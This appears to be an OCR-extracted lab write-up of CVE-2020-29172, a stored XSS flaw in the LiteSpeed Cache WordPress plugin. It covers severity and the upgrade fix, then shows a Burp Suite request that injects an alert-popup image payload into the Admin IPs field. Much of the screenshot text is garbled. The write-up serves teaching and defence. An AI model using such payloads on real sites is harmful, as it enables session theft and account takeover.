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Introduction

CVE-2020-29172 is a cross-site scripting (XSS) vulnerability. The Server IP option can be used
to exploit cross-site scripting (XSS) vulnerability in the LiteSpeed Cache plugin for WordPress
prior to 3.6.1.

The plugin does not sanitise invalid IPs given in its Toolbox page before displaying them in an
error message which is Stored XSS.

The weakness was presented on 12/26/2020. This vulnerability is traded as CVE-2020-29172.
The exploitability is said to be easy. It is possible to launch the attack remotely. The successful
exploitation needs authentication and user interaction by the victim. This vulnerability is
assigned to T1059.007 by the MITRE ATT&CK project.

Upgrading to version 3.6.1 eliminates this vulnerability.

XSS

XSS is the second most common problem in the OWASP Top 10, appearing in almost
two-thirds of all applications. Some XSS issues may be detected automatically by automated

techniques, particularly in established technologies like PHP, J2EE [ JSP, and ASP.NET.

XSS has a mild impact for reflected and DOM XSS and a severe impact for stored XSS,
involving remote code execution on the victim's browser, such as stealing passwords,
sessions, or distributing malware to the victim.

The application or APl saves unsanitized user input that may be accessed later by another

user or an administrator. Stored XSS is frequently regarded as a high or critical risk.
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Vulnerability Severity

CVSS - 6.1 Medium

CVSS Vector - CVSS:3.1/AV:IN/AC:L/PRIN/UIR/S:C/C:L/IL/ AN

Attack Vector - Network

Scope of Impact- By executing script code in the user’s current context, attackers can
steal session cookies and perform session hijacking to impersonate the victim or take
over their account and even more

Risk - Improper neutralization of input during web page generation effects plugins

litespeed-cache

CVSS v3:
Base Score 6.1
Impact Score 27
Exploitability Score 2.8
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interactions (UI) Required
Scope (S) Change
Confidentiality (C) Low
Integrity (1) Low
Availability (A) None
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Remediation

The vulnerability is patched in version 3.6.1 of the LightSpeed Cache plugin.

Exploitation

Attack Scenario

To demonstrate the attack we set up an Apache2 server with MySQL on

Machine. We can see Apache2 and MySQL services running.

Activities ) Terminal v

¢ °

apache2.service -
! Loaded:
Active:
Docs:
Process:
Main PID:
Tasks:
Memory:
CGroup:

Dec 08 10:31:40 ubuntu systemd[1]: Starting The Apache HTTP Server...
Dec 08 10:31:40 ubuntu apachectl[6272]: AHO0558: apache2: Could not reliably determine the server's fully qualified domain name, using
Dec 08 10:31:40 ubuntu systemd[1]: Started The Apache HTTP Server.

:~$ systemctl status apache2.service

The Apache HTTP Server

loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
since Wed 2021-12-08 10:31:40 PST; 24min ago

https://httpd.apache.org/docs/2.4/

6269 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)

6273 (apache2)
10 (limit: 4599)
100.8M

/system.slice/apache2.service

6273 /usr/sbin/apache2 -
6274 [usr/sbin/apache2 -
6275 /usr/sbin/apache2 -
6276 [usr/sbin/apache2 -
6277 [usr/sbin/apache2 -
6278 [usr/sbin/apache2 -
6281 /usr/sbin/apache2 -
6283 /usr/sbin/apache2 -
6284 [usr/sbin/apache2 -
6420 /usr/sbin/apache2 -

Lines 1-23/23 (END)
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Exploitation

Activities ) Terminal v Dec8 10:56

’ m shlokgupta@ubuntu: ~

:~$ systemctl status mysql.service
mysql.service - MySQL Community Server
Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset: enabled)
Active: since Wed 2021-12-08 10:10:16 PST; 45min ago
Process: 4738 ExecStartPre=/usr/share/mysql/mysql-systemd-start pre (code=exited, status=0/SUCCESS)
Main PID: 4747 (mysqld)
Status: "Server is operational"
Tasks: 43 (limit: 4599)
Memory: 404.8M
CGroup: /system.slice/mysql.service
L4747 [usr/sbin/mysqld

Dec 08 10:10:15 ubuntu systemd[1]: Starting MySQL Community Server...
Dec 08 10:10:16 ubunti systemd[1]: Started MySQL Community Server.
=S

Next, we install WordPress on the Apache2 server

28  Applications  Places & Firefox ESR Dec9 00:28
Dashboard « WordPress — WordPress - Mozilla Firefox

Dashboard < WordPress — = X =+

S c @ © /4 192.168.27.128 ndex.f

N Kali Linux N Kali Tools N Kali Forums « Kali Docs e NetHunter Offensive Security MSFU # Exploit-DB

@ @ worderess ©1 B + New @

@ Dashboard Dashboard

Home
Welcome to WordPress! © Dismis:

We've assembled some links to get you's

Posts
Media Get Started Next Steps More Actions
K write

Customize Your Site
+ Addan

our first blog post E| ma

tiage 8

Pages

Comments

A Set up your homepage B Turn comments on or off
Appearance
B Viewyoursite & Learn more about getting started
K Plugins @
Users
Tools Site Health Status Vo Quick Draft AV o4
Settings Title
Site health checks will automatically run
) . . periodically to gather inf about
LiteSpeed Cache Noinformationyet... S als
o o gather infor Content Drag boxes here Drag boxes here
‘ about your site now. WhatsahVodr firde
AtaGlance AV o4
A 1post W 1page
® 1comment
WordPress Events and News AV s

WordPress 5.8.2 running T

Attend an upcoming event near you. 2>
ivi AV
Activity &% state of the Word Wednesday, Dec 15, 2021

Recently Published Online
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Exploitation

After installing and setting up WordPress on the Apache2 server we need to install the
vulnerable plugin which is LightSpeed Cache v.3.6 or lower which can be downloaded
from LightSpeed Cache site and then installed using zip-upload functionality of

WordPress.:

25  Applications  Places © Firefox ESR Dec9 00:28

Plugins « WordPress — WordPress - Mozilla Firefox
Plugins « WordPress ar

T Cc @ © /G 192168.27.128

N Kali Linux N Kali Tools N Kali Forums  Kali Docs e\ NetHunter Offensive Security MSFU Exploit-DB GHDB

@

@ Dashboard Plugins [ AddNew

A P AWL(3) | Active (1) | Inactive (2) | Update Available (1) | Auto-updates Disabled (3) g
Bulk actions. v [ Apply 3items
() Plugin Description Automatic Updates
® Comments A
Akismet Anti-Spam  Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Enable auto-updates
Activate  Delete Settings page to set up your API key.

» A

Version 4.2.1 | By Automattic | Vi ails

£ Plugins 1

Hello Dolly This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see alyric from Hello, ~ Enable auto-updates
Installed Plugins Activate ' Delete Dolly in the upper right of your admin screen on every page.
Add New Version 1.7.2 | By Matt Mullenweg | View details
) LiteSpeed Cache High-performance page caching and site optimization from LiteSpeed Enable auto-updates

Deactivate  Settings  yersion 3.6 | By LiteSpeed Technologies | View details

O There is anew version of LiteSpeed Cache available. View version 4.4.5 deta

Plugin Description Automatic Updates

Bulk actions ~ |[ #epy | 3items

Thank you for creating with WordPress Version5.8.2

Once our plugin is installed we can go to the Toolbox which has the vulnerable

module under the Debug Settings.
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Exploitation

Once our plugin is installed we can go to the Toolbox which has the vulnerable

module under the Debug Settings.

Applications  Places  © FirefoxESR Dec9 00:29 B oo

Toolbox « WordPress — WordPress - Mozilla Firefox =

c e
Kali Linux N Kali Tools X Kali For

o1 9

0 & 19

 NetHunter 1| Offensive Security

MSFU 4 Exploit-DB

+ N

LiteSpeed Cache Toolbox
[tlPurge | [2import/Export | [3]Edittaccess  [4]Heartbeat  [S]Report  [6]DebugSettings  [7]LogView  [8]BetaTest
WARNING

LsCache caching functions on this page are currently unavilable!

To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.

Purge
B Setting = z
Purge Front Page >\ Purge Pages Purge 403 Error Purge 404 Error
™ Purge 500 Error Purge All- CSS/JS Cache Purge All- Opcode Cache
L pages,including 500 pages pcade cache

Empty Entire Cache

Once on the Debug Settings page, we can see there is a form which can be used to

update settings by clicking on the Save Changes button.

Applications  Places  © FirefoxESR Dec9 0029

‘Toolbox ¢« WordPress — WordPress - Mozilla Firefox

© 4 19216

KaliDocs X NetHunter |1 Of ty [l MSFU 4 Expl

LiteSpeed Cache Toolbox

[lPurge | [2limport/Export  [3]Edit htaccess  [4]Heartbeat  [S]Report | [6]DebugSettings | [7]LogView  [8]BetaTest

Debug Sttings

Disable Al Features oFF on

DebugLog orr S e oy

@ Litespeed Cache

AdminIPs 192168.27.129

able

Toolbox

o

LogFile Size Limit
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Exploitation

The Admin IPs field is vulnerable to Stored XSS attack as there is no input validation

done.

Exploitation

To exploit this vulnerability, we will run BurpSuite, configure the browser's proxy

accordingly and have it up and running.

Applications  Places ¥ burpsuite Dec9 00:31

Burp Suite Community Edition v2021.8.2 - Temporary Project

Bup Project Intruder Repeater Window Help

Dashboard  Target Procy Intruder Repeater  Sequencer Decoder  Comparer  Logger  Extender Projectoptions  Useroptions  Learn
Intercept HTTPhistory  WebSocketshistory ~ Options.
ket : (opembrowser
Use Burp's embedded browser \ b Useadifferent browser
& -
There's no need to configure your proxy settings manually. Use Burp's ' .....
‘embedded Chromium browser to start testi aws

proxy settings. For testing over HTTPS, you'llalso needtoinstall Burp's CA
certificate

— y o
— : ol | () A

Using Burp Proxy Burp Proxy options BurpProxy documentation
¥

xperience.

[ view View | View |
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Exploitation

Once we have burp set up, we need to click on the Save Changes button on the

Debug Settings page to see the request being made to the server.

Dec9 00:36

Burp Suite Community Edition v202 Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard ~ Target  Proxy  Intruder  Repeater  Sequencer  Decoder ~ Comparer  Logger  Extender  Projectoptions  Useroptions  Learn

tercept  HTTP history ~ WebSockets history ~ Options
4/ Request to http://192.168.27.128:80

[ Forward Drop Action || Open Browser | HrTen ()
pretty [ Hex W = =
1 POST /wp-admin/admin.php?page=1itespeed-toolbox HTTP/1.1
2 Host: 192.168.27.128 Z
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 %
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 m
5 Accept -Language: en-US,en;qg=0.5 s
6 Accept -Encoding: gzip, deflate (®)

o

7 Referer: http://192.168.27.128/wp-admin/admin.php?page=1itespeed-toolbox

8 Content -Type: application/x-www-form-urlencoded

9 Content -Length: 603

10 Origin: http://192.168.27.128

11 Connection: close

12 Cookie: wordpress_d523ebfa57557¢75758be6375b32d96f=admin%7C1640196890%7CMUEOQOQYGELDZVrezD] rd3x0g2pgCUrZBanhFt mOpHP%7CObdccB8248bac f75326259cb0ae9f6233f580e496bf fofabc5fabblfo8a25df26
litespeed_tab=settings-debug; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d523ebfa57557c75758be6375b32d96f=
admin%7C1640196890%7CMUEOQOQYGEiIDZVrezDj rd3x0g2pgCUrZBanhFt mO@pHP%7C3a7f90c 1laabb3bf f420343cbed54eb3aatb f92634286b5acb20993cadIb8fceBd; wp-settings-time-1=1638990321; _lscache_vary=
admin_bar%3A1%3Blogged-in%3A1%3Brole%3A99

13 Upgrade-Insecure-Requests: 1

=

15 LSCWP_CTRL=save-set tings&L SCWP_NONCE=a8c49c50cb&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3D1litespeed-toolbox&_settings-enroll1%5B%5D=debug-disable_all&debug-disable_all=0&
_settings-enrol1%5B%5D=debug&debug=1&_settings-enrol1%5B%5D=debug-ips&debug-ips=192.168.27.129&_settings-enrol1%5B%5D=debug-level&debug-level=1&_settings-enrol1%5B%5D=debug-filesize&
debug-filesize=3&_settings-enrol1%5B%5D=debug-cookie&debug-cookie=0&_settings-enroll%5B%5D=debug-collaps_qgs&debug-collaps_qgs=06&_settings-enrol1%5B%5D=debug-inc&debug-inc=&
_settings-enrol1%5B%5D=debug-exc&debug-exc=&litespeed-submit=Save+Changes

@ics €| >][Search 0 matches
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Exploitation

From the request we can see that Admin IPs field value is being sent for debug-ips
parameter. We will try to send a URL encoded payload as value for this parameter
which will trigger an XSS on the page.

Payload: <img src onerror=alert(/xss/)>

URL Encoded: %3Cimg%20src%20onerror%3Dalert(%2FXSS%2F) %3E

5o  Applications  Places ¥ burpsuite Dec9 00:36

Burp Suite Community Edition v2021.8.2 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard ~ Target  Proxy  Intruder  Repeater  Sequencer  Decoder ~ Comparer  Logger  Extender  Project options  Useroptions  Learn

HTTP history WebSockets history Options

4/ Request to http://192.168.27.128:80

[ Forward Drop | interceptison | Action || Open Browser

prety [ Hex \n =

W HTen ()

1 POST /wp-admin/admin.php?page=1itespeed-toolbox HTTP/1.1
2 Host: 192.168.27.128
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept -Language: en-US,en;qg=0.5
6 Accept-Encoding: gzip, deflate
Referer: http://192.168.27.128/wp-adnin/admin.php?page=1itespeed-toolbox
8 Content -Type: application/x-www-form-urlencoded
9 Content -Length: 603
Origin: http://192.168.27.128
Connection: close
12 Cookie: wordpress_d523ebfa57557¢75758be6375b32d96 f=admin%7C1640136890%7CMUEOQOQyGE1DZV rezDj rd3x0g2pgCUrZBanhFt mOpHP%7CobdccB8248bac f75326259cb0ae9f62331580e496bf fbfabc5fabbl f98a25df26;
litespeed_tab=settings-debug; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_d523ebfa57557c75758be6375b32d96 =
admin%7C1640196890%7CMUEQQOQYGEiDZVrezD] rd3x0g2pgCUrZBanhFt mOpHP%7C3a7f90c 1aabb3bf f420343cbed54eb3aat f92634286b5acb20993cadIb8fce8d; wp-settings-time-1=1638990321; _lscache_vary=

Y¥OLD3dSNI

admin_bar%3A1%3Blogged-in%3A1%3Brole%3A99
13 Upgrade-Insecure-Requests: 1
14

15 LSCWP_CTRL=save-set t ings&LSCWP_NONCE=aB8c49c50cb&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dlitespeed-toolbox&_settings-enroll%5B%5D=debug-disable_all&debug-disable_all=0&
_settings-enrol1%5B%5D=debug&debug=1&_settings-enrol1%5B%5D=debug-ips&debug-ips=%3Cimg%20src%20onerror%3Dalert (%2FXSS%2F)%3E&_settings-enrol1%5B%5D=debug-level&debug-level=1&
_settings-enrol1%5B%5D=debug- filesize&debug- filesize=3&_settings-enroll%5B%5D=debug-cookie&debug-cookie=0&_ settings-enrol1%5B%5D=debug-collaps_gs&debug-collaps_gs=0&
_settings-enrol1%5B%5D=debug-inc&debug-inc=6_settings-enrol1%5B8%5D=debug-exchdebug-exc=&1litespeed-submit=Save+Changes|

@i« [seorcn. ] omatches
Gy ) MR 0§

hitps://ft:meflearningnets



S AFE

Exploitation

Result

Once we forward the manipulated request to the server we can see a popup which is

caused by the stored XSS.

When we click the OK button on the popup and go to the Debug Settings tab
again, we can see that our payload (URL decoded) is in the Admin IPs field.

LiteSpeed Cache Toolbox s

[Purge | [2limport/Export | [3]Edit htaccess  [4]Heartbeat  [S]Report | [6]DebugSettings | [7]LogView | [8]Bet

Debug Settings Lo e
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